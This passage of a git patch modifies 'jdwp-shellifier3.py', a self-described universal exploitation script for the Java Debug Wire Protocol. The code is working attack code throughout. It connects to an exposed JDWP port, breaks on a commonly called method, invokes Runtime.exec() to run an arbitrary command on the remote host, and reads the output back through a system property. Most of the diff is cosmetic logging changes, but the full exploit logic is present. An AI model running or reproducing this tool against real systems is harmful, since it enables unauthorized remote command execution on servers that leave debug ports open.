-STRINGVALUE_SIG = (10, 1) -THREADNAME_SIG = (11, 1) -THREADSUSPEND_SIG = (11, 2) -THREADRESUME_SIG = (11, 3) -THREADSTATUS_SIG = (11, 4) -EVENTSET_SIG = (15, 1) -EVENTCLEAR_SIG = (15, 2) -EVENTCLEARALL_SIG = (15, 3) - -# Other codes -MODKIND_COUNT = 1 -MODKIND_THREADONLY = 2 -MODKIND_CLASSMATCH = 5 -MODKIND_LOCATIONONLY = 7 -EVENT_BREAKPOINT = 2 -SUSPEND_EVENTTHREAD = 1 -SUSPEND_ALL = 2 -NOT_IMPLEMENTED = 99 -VM_DEAD = 112 -INVOKE_SINGLE_THREADED = 2 -TAG_OBJECT = 76 -TAG_STRING = 115 -TYPE_CLASS = 1 - - -################################################################################ -# -# JDWP client class -# class JDWPClient: - def __init__(self, host, port=8000): self.host = host self.port = port self.methods = {} self.fields = {} self.id = 0x01 - return def create_packet(self, cmdsig, data=b""): flags = 0x00 @@ -92,11 +86,9 @@ def create_packet(self, cmdsig, data=b""): def read_reply(self): header = self.socket.recv(11) pktlen, id, flags, errcode = struct.unpack(">IIcH", header) - if flags[0] == REPLY_PACKET_TYPE: if errcode: raise Exception("Received errcode %d" % errcode) - buf = b"" while len(buf) + 11 < pktlen: data = self.socket.recv(1024) @@ -109,13 +101,11 @@ def read_reply(self): def parse_entries(self, buf, formats, explicit=True): entries = [] index = 0 - if explicit: nb_entries = struct.unpack(">I", buf[:4])[0] buf = buf[4:] else: nb_entries = 1 - for i in range(nb_entries): data = {} for fmt, name in formats: @@ -145,9 +135,7 @@ def parse_entries(self, buf, formats, explicit=True): else: print("Error") sys.exit(1) - entries.append(data) - return entries def format(self, fmt, value): @@ -155,7 +143,6 @@ def format(self, fmt, value): return struct.pack(">Q", value) elif fmt == "I" or fmt == 4: return struct.pack(">I", value) - raise Exception("Unknown format") def unformat(self, fmt, value): @@ -170,24 +157,20 @@ def start(self): self.handshake(self.host, self.port) self.idsizes() self.getversion() - # Lazy load classes only when needed return def handshake(self, host, port): s = socket.socket() - s.settimeout(30) # 30 second timeout + s.settimeout(30) try: s.connect((host, port)) except socket.error as msg: raise Exception("Failed to connect: %s" % msg) - s.send(HANDSHAKE) - if s.recv(len(HANDSHAKE)) != HANDSHAKE: raise Exception("Failed to handshake") else: self.socket = s - return def leave(self): @@ -333,7 +316,6 @@ def invokestatic(self, classId, threadId, methId, *args): for arg in args: data += arg data += struct.pack(">I", 0) - self.socket.sendall(self.create_packet(INVOKESTATICMETHOD_SIG, data=data)) buf = self.read_reply() return buf @@ -347,7 +329,6 @@ def invoke(self, objId, threadId, classId, methId, *args): for arg in args: data += arg data += struct.pack(">I", 0) - self.socket.sendall(self.create_packet(INVOKEMETHOD_SIG, data=data)) buf = self.read_reply() return buf @@ -380,11 +361,9 @@ def send_event(self, eventCode, *args): data += bytes([eventCode]) data += bytes([SUSPEND_ALL]) data += struct.pack(">I", len(args)) - for kind, option in args: data += bytes([kind]) data += option - self.socket.sendall(self.create_packet(EVENTSET_SIG, data=data)) buf = self.read_reply() return struct.unpack(">I", buf)[0] @@ -411,564 +390,435 @@ def parse_event_breakpoint(self, buf, eventId): if rId != eventId: return None tId = self.unformat(self.objectIDSize, buf[10:10+self.objectIDSize]) - loc = -1 # don't care + loc = -1 return rId, tId, loc - def runtime_exec(jdwp, args): - print("[+] Targeting '%s:%d'" % (args.target, args.port)) - print("[+] Reading settings for '%s'" % jdwp.version) - - # Lazy load classes + verbose = getattr(args, 'verbose', True) + if verbose: + print(f"{Colors.OKCYAN}[+]{Colors.ENDC} Targeting {Colors.BOLD}'{args.target}:{args.port}'{Colors.ENDC}") + print(f"{Colors.OKCYAN}[+]{Colors.ENDC} Reading settings for {Colors.DIM}'{jdwp.version}'{Colors.ENDC}") jdwp.allclasses() - - # 1. get Runtime class reference runtimeClass = jdwp.get_class_by_name("Ljava/lang/Runtime;") if runtimeClass is None: - print("[-] Cannot find class Runtime") + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Cannot find class Runtime") return False - print("[+] Found Runtime class: id=%x" % runtimeClass["refTypeId"]) - - # 2. get getRuntime() meth reference + if verbose: + print(f"{Colors.OKGREEN}[+]{Colors.ENDC} Found Runtime class: {Colors.DIM}id={Colors.ENDC}{Colors.WARNING}%x{Colors.ENDC}" % runtimeClass["refTypeId"]) jdwp.get_methods(runtimeClass["refTypeId"]) getRuntimeMeth = jdwp.get_method_by_name("getRuntime") if getRuntimeMeth is None: - print("[-] Cannot find method Runtime.getRuntime()") + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Cannot find method Runtime.getRuntime()") return False - print("[+] Found Runtime.getRuntime(): id=%x" % getRuntimeMeth["methodId"]) - - # 3. setup breakpoint on frequently called method + if verbose: + print(f"{Colors.OKGREEN}[+]{Colors.ENDC} Found Runtime.getRuntime(): {Colors.DIM}id={Colors.ENDC}{Colors.WARNING}%x{Colors.ENDC}" % getRuntimeMeth["methodId"]) c = jdwp.get_class_by_name(args.break_on_class) if c is None: - print("[-] Could not access class '%s'" % args.break_on_class) - print("[-] It is possible that this class is not used by application") - print("[-] Test with another one with option `--break-on`") + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Could not access class '{args.break_on_class}'") + print(f"{Colors.FAIL}[-]{Colors.ENDC} It is possible that this class is not used by application") + print(f"{Colors.FAIL}[-]{Colors.ENDC} Test with another one with option `--break-on`") return False - jdwp.get_methods(c["refTypeId"]) m = jdwp.get_method_by_name(args.break_on_method) if m is None: - print("[-] Could not access method '%s'" % args.break_on) + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Could not access method '{args.break_on}'") return False - loc = bytes([TYPE_CLASS]) loc += jdwp.format(jdwp.referenceTypeIDSize, c["refTypeId"]) loc += jdwp.format(jdwp.methodIDSize, m["methodId"]) loc += struct.pack(">II", 0, 0) data = [(MODKIND_LOCATIONONLY, loc),] rId = jdwp.send_event(EVENT_BREAKPOINT, *data) - print("[+] Created break event id=%x" % rId) - - # 4. resume vm and wait for event + if verbose: + print(f"{Colors.OKGREEN}[+]{Colors.ENDC} Created break event {Colors.DIM}id={Colors.ENDC}{Colors.WARNING}%x{Colors.ENDC}" % rId) jdwp.resumevm() - - print("[+] Waiting for an event on '%s'" % args.break_on) + if verbose: + print(f"{Colors.OKCYAN}[+]{Colors.ENDC} Waiting for an event on {Colors.DIM}'{args.break_on}'{Colors.ENDC}") + else: + sys.stdout.write(f"{Colors.OKCYAN}[*]{Colors.ENDC} Waiting for breakpoint") + sys.stdout.flush() while True: buf = jdwp.wait_for_event() ret = jdwp.parse_event_breakpoint(buf, rId) if ret is not None: break - + if not verbose: + sys.stdout.write(f"{Colors.DIM}.{Colors.ENDC}") + sys.stdout.flush() + if not verbose: + sys.stdout.write(f" {Colors.OKGREEN}hit{Colors.ENDC}\n") rId, tId, loc = ret - print("[+] Received matching event from thread %#x" % tId) - + if verbose: + print(f"{Colors.OKGREEN}[+]{Colors.ENDC} Received matching event from thread {Colors.WARNING}%#x{Colors.ENDC}" % tId) jdwp.clear_event(EVENT_BREAKPOINT, rId) - - # 5. Now we can execute any code if args.cmd: - runtime_exec_payload(jdwp, tId, runtimeClass["refTypeId"], getRuntimeMeth["methodId"], args.cmd) + runtime_exec_payload(jdwp, tId, runtimeClass["refTypeId"], getRuntimeMeth["methodId"], args.cmd, verbose) else: - # by default, only prints out few system properties - runtime_exec_info(jdwp, tId) - + runtime_exec_info(jdwp, tId, verbose) jdwp.resumevm() - - print("[!] Command successfully executed") - + if verbose: + print(f"{Colors.OKGREEN}[!]{Colors.ENDC} Command successfully executed") return True - -def runtime_exec_info(jdwp, threadId): - # - # This function calls java.lang.System.getProperties() and - # displays OS properties (non-intrusive) - # - properties = {"java.version": "Java Runtime Environment version", - "java.vendor": "Java Runtime Environment vendor", - "java.vendor.url": "Java vendor URL", - "java.home": "Java installation directory", - "java.vm.specification.version": "Java Virtual Machine specification version", - "java.vm.specification.vendor": "Java Virtual Machine specification vendor", - "java.vm.specification.name": "Java Virtual Machine specification name", - "java.vm.version": "Java Virtual Machine implementation version", - "java.vm.vendor": "Java Virtual Machine implementation vendor", - "java.vm.name": "Java Virtual Machine implementation name", - "java.specification.version": "Java Runtime Environment specification version", - "java.specification.vendor": "Java Runtime Environment specification vendor", - "java.specification.name": "Java Runtime Environment specification name", - "java.class.version": "Java class format version number", - "java.class.path": "Java class path", - "java.library.path": "List of paths to search when loading libraries", - "java.io.tmpdir": "Default temp file path", - "java.compiler": "Name of JIT compiler to use", - "java.ext.dirs": "Path of extension directory or directories", - "os.name": "Operating system name", - "os.arch": "Operating system architecture", - "os.version": "Operating system version", - "file.separator": "File separator", - "path.separator": "Path separator", - "user.name": "User's account name", - "user.home": "User's home directory", - "user.dir": "User's current working directory", - "java.runtime.name": "Java Runtime Environment name", - "java.runtime.version": "Java Runtime Environment version", - "java.vm.info": "Additional JVM information", - "sun.boot.library.path": "Boot library path", - "sun.boot.class.path": "Boot class path", - "sun.java.command": "Java command line", - "sun.java.launcher": "Java launcher type", - "user.language": "User's language", - "user.country": "User's country", - "user.timezone": "User's timezone", - "file.encoding": "File encoding", - "line.separator": "Line separator", - "http.proxyHost": "HTTP proxy host", - "http.proxyPort": "HTTP proxy port", - "https.proxyHost": "HTTPS proxy host", - "https.proxyPort": "HTTPS proxy port", - "ftp.proxyHost": "FTP proxy host", - "ftp.proxyPort": "FTP proxy port", - "socksProxyHost": "SOCKS proxy host", - "socksProxyPort": "SOCKS proxy port", - "sun.arch.data.model": "Data model (32/64 bit)", - "sun.cpu.endian": "Endianness", - "sun.os.patch.level": "OS patch level", - "java.rmi.server.hostname": "RMI server hostname", - "jdwp.cmd.output": "Command output (from --cmd execution)" - } - +def runtime_exec_info(jdwp, threadId, verbose=True): + properties = {"os.name": "Operating system name", "user.name": "User's account name", + "user.dir": "User's current working directory", "jdwp.cmd.output": "Command output"} systemClass = jdwp.get_class_by_name("Ljava/lang/System;") if systemClass is None: - print("[-] Cannot find class java.lang.System") + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Cannot find class java.lang.System") return False - jdwp.get_methods(systemClass["refTypeId"]) getPropertyMeth = jdwp.get_method_by_name("getProperty") if getPropertyMeth is None: - print("[-] Cannot find method System.getProperty()") + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Cannot find method System.getProperty()") return False - - # Store command output separately to display at the end cmd_output = None - for propStr, propDesc in properties.items(): propObjIds = jdwp.createstring(propStr) if len(propObjIds) == 0: - print("[-] Failed to allocate command") + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Failed to allocate command") return False propObjId = propObjIds[0]["objId"] - data = [bytes([TAG_OBJECT]) + jdwp.format(jdwp.objectIDSize, propObjId),] - buf = jdwp.invokestatic(systemClass["refTypeId"], - threadId, - getPropertyMeth["methodId"], - *data) + buf = jdwp.invokestatic(systemClass["refTypeId"], threadId, getPropertyMeth["methodId"], *data) if buf[0] == TAG_STRING: retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) res = jdwp.solve_string(jdwp.format(jdwp.objectIDSize, retId)) if propStr == "jdwp.cmd.output": - # Store command output for later display cmd_output = res else: - print("[+] Found %s '%s'" % (propDesc, res)) + if verbose: + print(f"{Colors.OKGREEN}[+]{Colors.ENDC} Found {propDesc} {Colors.DIM}'{res}'{Colors.ENDC}") elif buf[0] == TAG_OBJECT: - # Property not set (returns null) if propStr == "jdwp.cmd.output": cmd_output = None - else: - if propStr != "jdwp.cmd.output": - print("[-] %s: Unexpected returned type: %d" % (propStr, buf[0])) - - # Display command output at the end if available if cmd_output is not None: print("") - print("=" * 60) - print("[*] COMMAND OUTPUT") - print("=" * 60) + print(f"{Colors.BOLD}{Colors.OKCYAN}{'═' * 60}{Colors.ENDC}") + print(f"{Colors.BOLD}{Colors.OKGREEN}[>]{Colors.ENDC} {Colors.BOLD}COMMAND OUTPUT{Colors.ENDC}") + print(f"{Colors.BOLD}{Colors.OKCYAN}{'═' * 60}{Colors.ENDC}") print(cmd_output) - print("=" * 60) + print(f"{Colors.BOLD}{Colors.OKCYAN}{'═' * 60}{Colors.ENDC}") else: - print("") - print("[-] No command output stored in properties") - + if verbose: + print("") + print(f"{Colors.FAIL}[-]{Colors.ENDC} No command output stored in properties") return True - -def runtime_exec_payload(jdwp, threadId, runtimeClassId, getRuntimeMethId, command): - # - # This function will invoke command as a payload, which will be running - # with JVM privilege on host (intrusive). - # - print("[+] Selected payload '%s'" % command) - - # 1. allocating string containing our command to exec() +def runtime_exec_payload(jdwp, threadId, runtimeClassId, getRuntimeMethId, command, verbose=True): + if verbose: + print(f"{Colors.OKGREEN}[+]{Colors.ENDC} Selected payload {Colors.BOLD}'{command}'{Colors.ENDC}") cmdObjIds = jdwp.createstring(command) if len(cmdObjIds) == 0: - print("[-] Failed to allocate command") + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Failed to allocate command") return False cmdObjId = cmdObjIds[0]["objId"] - print("[+] Command string object created id:%x" % cmdObjId) - - # 2. use context to get Runtime object + if verbose: + print(f"{Colors.OKGREEN}[+]{Colors.ENDC} Command string object created {Colors.DIM}id:{Colors.ENDC}{Colors.WARNING}%x{Colors.ENDC}" % cmdObjId) buf = jdwp.invokestatic(runtimeClassId, threadId, getRuntimeMethId) if buf[0] != TAG_OBJECT: - print("[-] Unexpected returned type: expecting Object") + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Unexpected returned type: expecting Object") return False rt = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) - if rt is None: - print("[-] Failed to invoke Runtime.getRuntime()") + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Failed to invoke Runtime.getRuntime()") return False - print("[+] Runtime.getRuntime() returned context id:%#x" % rt) - - # 3. find exec() method + if verbose: + print(f"{Colors.OKGREEN}[+]{Colors.ENDC} Runtime.getRuntime() returned context {Colors.DIM}id:{Colors.ENDC}{Colors.WARNING}%#x{Colors.ENDC}" % rt) execMeth = jdwp.get_method_by_name("exec") if execMeth is None: - print("[-] Cannot find method Runtime.exec()") + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Cannot find method Runtime.exec()") return False - print("[+] found Runtime.exec(): id=%x" % execMeth["methodId"]) - - # 4. call exec() in this context with the alloc-ed string + if verbose: + print(f"{Colors.OKGREEN}[+]{Colors.ENDC} found Runtime.exec(): {Colors.DIM}id={Colors.ENDC}{Colors.WARNING}%x{Colors.ENDC}" % execMeth["methodId"]) data = [bytes([TAG_OBJECT]) + jdwp.format(jdwp.objectIDSize, cmdObjId)] buf = jdwp.invoke(rt, threadId, runtimeClassId, execMeth["methodId"], *data) if buf[0] != TAG_OBJECT: - print("[-] Unexpected returned type: expecting Object") + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Unexpected returned type: expecting Object") return False - processId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) - print("[+] Runtime.exec() successful, processId=%x" % processId) - - # 5. Capture command output - output = capture_process_output(jdwp, threadId, processId) + if verbose: + print(f"{Colors.OKGREEN}[+]{Colors.ENDC} Runtime.exec() successful, {Colors.DIM}processId={Colors.ENDC}{Colors.WARNING}%x{Colors.ENDC}" % processId) + output = capture_process_output(jdwp, threadId, processId, verbose) if output: - print("[+] Command output captured, storing in system property") - store_output_in_property(jdwp, threadId, output) - print("[+] Output stored in 'jdwp.cmd.output' property") - print("[+] Run without --cmd to retrieve output via properties") + if verbose: + print(f"{Colors.OKGREEN}[+]{Colors.ENDC} Command output captured, storing in system property") + store_output_in_property(jdwp, threadId, output, verbose) + if verbose: + print(f"{Colors.OKGREEN}[+]{Colors.ENDC} Output stored in {Colors.BOLD}'jdwp.cmd.output'{Colors.ENDC} property") else: - print("[-] Failed to capture command output") - + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Failed to capture command output") return True - -def capture_process_output(jdwp, threadId, processId): - """ - Captures stdout from a Process object by: - 1. Getting Process class reference - 2. Calling getInputStream() on Process object - 3. Reading from InputStream using InputStreamReader and BufferedReader - """ +def capture_process_output(jdwp, threadId, processId, verbose=True): try: - # Get Process class processClass = jdwp.get_class_by_name("Ljava/lang/Process;") if processClass is None: - print("[-] Cannot find class Process") + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Cannot find class Process") return None - - # Wait for process to complete jdwp.get_methods(processClass["refTypeId"]) waitForMeth = jdwp.get_method_by_name("waitFor") if waitForMeth: - print("[+] Waiting for process to complete...") - jdwp.invoke(processId, threadId, processClass["refTypeId"], - waitForMeth["methodId"]) - print("[+] Process completed") - - # Get getInputStream() method + if verbose: + print(f"{Colors.OKCYAN}[+]{Colors.ENDC} Waiting for process to complete...") + else: + sys.stdout.write(f"{Colors.OKCYAN}[*]{Colors.ENDC} Executing command") + sys.stdout.flush() + jdwp.invoke(processId, threadId, processClass["refTypeId"], waitForMeth["methodId"]) + if verbose: + print(f"{Colors.OKGREEN}[+]{Colors.ENDC} Process completed") + else: + sys.stdout.write(f" {Colors.OKGREEN}done{Colors.ENDC}\n") getInputStreamMeth = jdwp.get_method_by_name("getInputStream") if getInputStreamMeth is None: - print("[-] Cannot find method Process.getInputStream()") + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Cannot find method Process.getInputStream()") return None - - # Call getInputStream() on Process object - buf = jdwp.invoke(processId, threadId, processClass["refTypeId"], - getInputStreamMeth["methodId"]) + buf = jdwp.invoke(processId, threadId, processClass["refTypeId"], getInputStreamMeth["methodId"]) if buf[0] != TAG_OBJECT: - print("[-] Failed to get InputStream") + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Failed to get InputStream") return None - inputStreamId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) - print("[+] Got InputStream id:%#x" % inputStreamId) - - # Use BufferedReader to read output - return capture_with_bufferedreader(jdwp, threadId, inputStreamId) - + if verbose: + print(f"{Colors.OKGREEN}[+]{Colors.ENDC} Got InputStream {Colors.DIM}id:{Colors.ENDC}{Colors.WARNING}%#x{Colors.ENDC}" % inputStreamId) + return capture_with_bufferedreader(jdwp, threadId, inputStreamId, verbose) except Exception as e: - print("[-] Exception in capture_process_output: %s" % e) + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Exception in capture_process_output: {e}") return None - -def capture_with_bufferedreader(jdwp, threadId, inputStreamId): - """ - Reads InputStream content efficiently using byte array reads - """ +def capture_with_bufferedreader(jdwp, threadId, inputStreamId, verbose=True): try: - # Try IOUtils first (fastest method) - output = read_inputstream_bytes(jdwp, threadId, inputStreamId, None) - + output = read_inputstream_bytes(jdwp, threadId, inputStreamId, verbose) if output: - print("[+] Captured output (%d bytes)" % len(output)) + if verbose: + print(f"{Colors.OKGREEN}[+]{Colors.ENDC} Captured output ({len(output)} bytes)") return output - - # Fallback to byte-by-byte read - return read_with_inputstreamreader(jdwp, threadId, inputStreamId) - + return read_with_inputstreamreader(jdwp, threadId, inputStreamId, verbose) except Exception as e: - print("[-] Exception in capture_with_bufferedreader: %s" % e) - import traceback - traceback.print_exc() + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Exception in capture_with_bufferedreader: {e}") return None - -def read_inputstream_bytes(jdwp, threadId, inputStreamId, inputStreamClassId): - """ - Reads all bytes from InputStream using IOUtils or similar utility - """ +def read_inputstream_bytes(jdwp, threadId, inputStreamId, verbose=True): try: - # Try to use Apache Commons IOUtils.toString() if available - # This is commonly available in Java web applications ioUtilsClass = jdwp.get_class_by_name("Lorg/apache/commons/io/IOUtils;") - if ioUtilsClass: - print("[+] Using Apache Commons IOUtils") + if verbose: + print(f"{Colors.OKGREEN}[+]{Colors.ENDC} Using Apache Commons IOUtils") jdwp.get_methods(ioUtilsClass["refTypeId"]) - toStringMeth = None for method in jdwp.methods[ioUtilsClass["refTypeId"]]: if method["name"] == "toString" and "(Ljava/io/InputStream;" in method["signature"]: toStringMeth = method break - if toStringMeth: data = [bytes([TAG_OBJECT]) + jdwp.format(jdwp.objectIDSize, inputStreamId)] - buf = jdwp.invokestatic(ioUtilsClass["refTypeId"], threadId, - toStringMeth["methodId"], *data) - + buf = jdwp.invokestatic(ioUtilsClass["refTypeId"], threadId, toStringMeth["methodId"], *data) if buf[0] == TAG_STRING: outputId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) output = jdwp.solve_string(jdwp.format(jdwp.objectIDSize, outputId)) return output - - # Fallback: Use InputStreamReader + read char array approach - print("[+] Using InputStreamReader fallback") - return read_with_inputstreamreader(jdwp, threadId, inputStreamId) - + if verbose: + print(f"{Colors.OKGREEN}[+]{Colors.ENDC} Using InputStreamReader fallback") + return read_with_inputstreamreader(jdwp, threadId, inputStreamId, verbose) except Exception as e: - print("[-] Exception in read_inputstream_bytes: %s" % e) - import traceback - traceback.print_exc() + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Exception in read_inputstream_bytes: {e}") return None - -def read_with_inputstreamreader(jdwp, threadId, inputStreamId): - """ - Fallback: Read bytes using read() loop with optimizations - """ +def read_with_inputstreamreader(jdwp, threadId, inputStreamId, verbose=True): try: inputStreamClass = jdwp.get_class_by_name("Ljava/io/InputStream;") jdwp.get_methods(inputStreamClass["refTypeId"]) - readMeth = None for method in jdwp.methods[inputStreamClass["refTypeId"]]: if method["name"] == "read" and method["signature"] == "()I": readMeth = method break - if readMeth is None: - print("[-] Cannot find InputStream.read()") + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Cannot find InputStream.read()") return None - output_bytes = bytearray() - max_bytes = 1048576 # 1MB limit - - sys.stdout.write("[+] Reading output") + max_bytes = 1048576 + if verbose: + sys.stdout.write(f"{Colors.OKCYAN}[+]{Colors.ENDC} Reading output") + else: + sys.stdout.write(f"{Colors.OKCYAN}[*]{Colors.ENDC} Capturing output") sys.stdout.flush() - while len(output_bytes) < max_bytes: - buf = jdwp.invoke(inputStreamId, threadId, inputStreamClass["refTypeId"], - readMeth["methodId"]) - - if buf[0] != 73: # TAG_INT + buf = jdwp.invoke(inputStreamId, threadId, inputStreamClass["refTypeId"], readMeth["methodId"]) + if buf[0] != 73: sys.stdout.write("\n") - print("[-] read() unexpected return type") + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} read() unexpected return type") break - byte_val = struct.unpack(">i", buf[1:5])[0] - if byte_val == -1: break - output_bytes.append(byte_val & 0xFF) - - # Progress indicator every 1000 bytes - if len(output_bytes) % 1000 == 0: - sys.stdout.write(".") + if verbose and len(output_bytes) % 1000 == 0: + sys.stdout.write(f"{Colors.DIM}.{Colors.ENDC}") sys.stdout.flush() - - sys.stdout.write(" done\n") - + elif not verbose and len(output_bytes) % 5000 == 0: + sys.stdout.write(f"{Colors.DIM}.{Colors.ENDC}") + sys.stdout.flush() + sys.stdout.write(f" {Colors.OKGREEN}done{Colors.ENDC}\n") if len(output_bytes) == 0: return None - return output_bytes.decode('utf-8', errors='replace') - except Exception as e: - print("[-] Exception in read_with_inputstreamreader: %s" % e) + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Exception in read_with_inputstreamreader: {e}") return None - -def store_output_in_property(jdwp, threadId, output): - """ - Stores output in system property 'jdwp.cmd.output' using System.setProperty() - """ +def store_output_in_property(jdwp, threadId, output, verbose=True): try: - # Get System class systemClass = jdwp.get_class_by_name("Ljava/lang/System;") if systemClass is None: - print("[-] Cannot find class System") + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Cannot find class System") return False - - # Get setProperty method jdwp.get_methods(systemClass["refTypeId"]) setPropertyMeth = None for method in jdwp.methods[systemClass["refTypeId"]]: if method["name"] == "setProperty": setPropertyMeth = method break - if setPropertyMeth is None: - print("[-] Cannot find System.setProperty()") + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Cannot find System.setProperty()") return False - - # Create property name string propNameObjIds = jdwp.createstring("jdwp.cmd.output") if len(propNameObjIds) == 0: return False propNameObjId = propNameObjIds[0]["objId"] - - # Create property value string (the output) propValueObjIds = jdwp.createstring(output) if len(propValueObjIds) == 0: return False propValueObjId = propValueObjIds[0]["objId"] - - # Call System.setProperty(name, value) data = [ bytes([TAG_OBJECT]) + jdwp.format(jdwp.objectIDSize, propNameObjId), bytes([TAG_OBJECT]) + jdwp.format(jdwp.objectIDSize, propValueObjId) ] - - jdwp.invokestatic(systemClass["refTypeId"], threadId, - setPropertyMeth["methodId"], *data) - + jdwp.invokestatic(systemClass["refTypeId"], threadId, setPropertyMeth["methodId"], *data) return True - except Exception as e: - print("[-] Exception in store_output_in_property: %s" % e) + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Exception in store_output_in_property: {e}") return False - def str2fqclass(s): i = s.rfind('.') if i == -1: print("Cannot parse path") sys.exit(1) - method = s[i:][1:] classname = 'L' + s[:i].replace('.', '/') + ';' return classname, method - if __name__ == "__main__": parser = argparse.ArgumentParser(description="Universal exploitation script for JDWP by @_hugsy_", formatter_class=argparse.ArgumentDefaultsHelpFormatter) - parser.add_argument("-t", "--target", type=str, metavar="IP", help="Remote target IP", required=True) parser.add_argument("-p", "--port", type=int, metavar="PORT", default=8000, help="Remote target port") - parser.add_argument("--break-on", dest="break_on", type=str, metavar="JAVA_METHOD", default="java.net.ServerSocket.accept", help="Specify full path to method to break on") parser.add_argument("--cmd", dest="cmd", type=str, metavar="COMMAND", help="Specify command to execute remotely") parser.add_argument("--cmd-with-output", dest="cmd_with_output", type=str, metavar="COMMAND", help="Execute command and automatically retrieve output") - + parser.add_argument("-v", "--verbose", dest="verbose", action="store_true", + help="Enable verbose output (show all debug messages)") + parser.add_argument("--no-color", dest="no_color", action="store_true", + help="Disable colored output") args = parser.parse_args() - + if args.no_color: + Colors.disable() + if not args.verbose and args.cmd_with_output: + print(f"{Colors.BOLD}{Colors.OKCYAN}") + print("╔═══════════════════════════════════════════════════════════╗") + print("║ JDWP Universal Shellifier v2.0 ║") + print("║ Original by @_hugsy_ with cheers to @lanjelot ║") + print("║ Python3 with cmd-output by @aarislarsen ║") + print("╚═══════════════════════════════════════════════════════════╝") + print(f"{Colors.ENDC}") + print(f"{Colors.OKCYAN}[>]{Colors.ENDC} Target: {Colors.BOLD}{args.target}:{args.port}{Colors.ENDC}") + print(f"{Colors.OKCYAN}[>]{Colors.ENDC} Command: {Colors.BOLD}{args.cmd_with_output}{Colors.ENDC}") + print("") classname, meth = str2fqclass(args.break_on) setattr(args, "break_on_class", classname) setattr(args, "break_on_method", meth) - retcode = 0 - try: - # Handle --cmd-with-output: execute command, then retrieve output if args.cmd_with_output: - print("[+] Executing command with output retrieval mode") - print("") - - # First execution: run command and store output - print("=" * 60) - print("[*] PHASE 1: Executing command and storing output") - print("=" * 60) + if args.verbose: + print(f"{Colors.OKGREEN}[+]{Colors.ENDC} Executing command with output retrieval mode") + print("") + if args.verbose: + print(f"{Colors.BOLD}{Colors.OKCYAN}{'═' * 60}{Colors.ENDC}") + print(f"{Colors.BOLD}{Colors.WARNING}[*] PHASE 1: Executing command and storing output{Colors.ENDC}") + print(f"{Colors.BOLD}{Colors.OKCYAN}{'═' * 60}{Colors.ENDC}") args.cmd = args.cmd_with_output - cli = JDWPClient(args.target, args.port) cli.start() - if runtime_exec(cli, args) == False: - print("[-] Exploit failed in execution phase") + if args.verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Exploit failed in execution phase") retcode = 1 cli.leave() else: cli.leave() - - # Small delay to ensure property is set - print("") - print("[+] Waiting 2 seconds before retrieving output...") + if args.verbose: + print("") + print(f"{Colors.OKCYAN}[+]{Colors.ENDC} Waiting 2 seconds before retrieving output...") time.sleep(2) - - # Second execution: retrieve output - print("") - print("=" * 60) - print("[*] PHASE 2: Retrieving command output") - print("=" * 60) + if args.verbose: + print("") + print(f"{Colors.BOLD}{Colors.OKCYAN}{'═' * 60}{Colors.ENDC}") + print(f"{Colors.BOLD}{Colors.WARNING}[*] PHASE 2: Retrieving command output{Colors.ENDC}") + print(f"{Colors.BOLD}{Colors.OKCYAN}{'═' * 60}{Colors.ENDC}") + else: + sys.stdout.write(f"{Colors.OKCYAN}[*]{Colors.ENDC} Retrieving output\n") + sys.stdout.flush() args.cmd = None - cli = JDWPClient(args.target, args.port) cli.start() - if runtime_exec(cli, args) == False: - print("[-] Exploit failed in retrieval phase") + if args.verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Exploit failed in retrieval phase") retcode = 1 - + else: + if not args.verbose: + sys.stdout.write(f" {Colors.OKGREEN}done{Colors.ENDC}\n") cli.leave() else: - # Normal execution mode cli = JDWPClient(args.target, args.port) cli.start() - if runtime_exec(cli, args) == False: - print("[-] Exploit failed") + if args.verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Exploit failed") retcode = 1 - cli.leave() - except KeyboardInterrupt: - print("[+] Exiting on user's request") - + print(f"\n{Colors.WARNING}[!]{Colors.ENDC} Exiting on user's request") except Exception as e: - print("[-] Exception: %s" % e) + print(f"{Colors.FAIL}[-]{Colors.ENDC} Exception: {e}") retcode = 1 - sys.exit(retcode) From 9e52f00caa4670eda6d0d29921c8d88fc6deafd6 Mon Sep 17 00:00:00 2001 From: aarislarsen Date: Thu, 9 Oct 2025 10:31:14 +0200 Subject: [PATCH 5/6] Update jdwp-shellifier3.py --- jdwp-shellifier3.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/jdwp-shellifier3.py b/jdwp-shellifier3.py index e299614..482084e 100644 --- a/jdwp-shellifier3.py +++ b/jdwp-shellifier3.py @@ -754,9 